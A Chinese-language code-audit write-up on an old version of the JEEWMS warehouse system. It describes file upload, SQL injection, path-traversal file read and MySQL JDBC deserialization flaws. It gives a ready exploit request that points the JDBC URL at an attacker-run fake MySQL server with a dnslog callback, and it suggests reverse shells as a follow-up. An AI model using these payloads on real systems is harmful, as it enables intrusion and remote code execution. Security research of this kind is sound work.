『代码审计』JEEWMS代码审计

华盟原创文章投稿奖励计划

0x00 前言

JEEWMS是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。该系统使用SpringMVC框架,Mysql数据库,本次审计是对老版本的JEEWMS系统进行审计。

自动草稿

0x01 文件上传

查看该代码,主要是获取应用程序的根目录路径并拼接文件名作为上传路径,然后调用new File进行文件上传。

自动草稿

构造数据包,进行文件上传,响应操作成功。

自动草稿

成功访问上传后的aaa.jsp

自动草稿

0x02 JDBC反序列化

这段代码的主要功能是测试数据库连接是否成功,从dbSource中获取DriverClassUrlDbUserDbPassword的值,然后进行创建数据库连接,并且这些参数可以从前端获取。

自动草稿

pom.xml中引入的mysql版本为5.1.27,该版本是存在JDBC反序列化的。

图片

使用fake-mysql-cli-0.0.4工具在服务器中起一个服务。

java -jar fake-mysql-cli-0.0.4.jar -p 8787

自动草稿

使用burp进行发包,显示数据库连接失败,但是这没有关系。

/jeewms/dynamicDataSourceController.do?testConnection&driverClass=com.mysql.jdbc.Driver&url=jdbc:mysql://x.x.x.x:8787/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&dbUser=deser_URLDNS_http://7x8gp9.dnslog.cn

自动草稿

DNSLog成功收到请求。

自动草稿

0x03 SQL注入

SQL注入该系统存在很多,本次只针对其中一个进行审计。查看该接口,发现configId参数值从前端获取,并且传入cgReportService.queryCgReportConfig方法。

自动草稿

查看queryCgReportConfig实现方法,在queryCgReportConfig方法中又调用了queryCgReportMainConfig方法,并且把reportId传给了该方法,在queryCgReportMainConfig方法中又调用了cgReportDao.queryCgReportMainConfig方法。

自动草稿

该方法的SQL语句中使用$拼接了configId的值,造成了SQL注入。

自动草稿

构造数据包。

自动草稿

使用SQLmap成功跑出注入。

自动草稿

0x04 任意文件读取

该代码接收downdbPath参数的值,判断flag的值是否等于1。如果等于1,则表示请求是下载文件并对文件名进行url编码,否则,表示请求是显示图片。读取路径首先从配置文件中获取webUploadpath的值,然后再拼接dbPath的值,再进行读取。

自动草稿

全局搜索webUploadpath,发现在sysConfig.properties中定义了该值,在Cupfiles目录下。

自动草稿

C盘根目录创建test.txt,内容为test。构造数据包,使用两个../,成功读取test.txt

自动草稿

down等于1时,会对文件名进行URL编码。

自动草稿

0x05 总结

JEEWMS系统存在不少类型的漏洞,但是本篇文章并未涉及到该系统的全部漏洞。但其中的JDBC反序列化漏洞不是很常见,除了ping dnslog外,还可以尝试反弹shell、打内存马等。

自动草稿

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

本文来源宸极实验室,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论